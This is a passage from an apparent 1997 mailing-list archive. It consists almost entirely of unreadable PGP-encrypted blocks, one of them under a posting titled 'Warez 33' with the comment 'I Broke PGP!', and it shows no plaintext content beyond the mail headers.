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
hocPGTWeA2JU3Kd3hPgM7uuQ8UekJh6mCzdRtA==
=qG2Y
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 04:40:50 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 20:40:50 +0800
Subject: Warez 33
Message-ID: <199712181229.GAA25766@harrier.sasknet.sk.ca>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
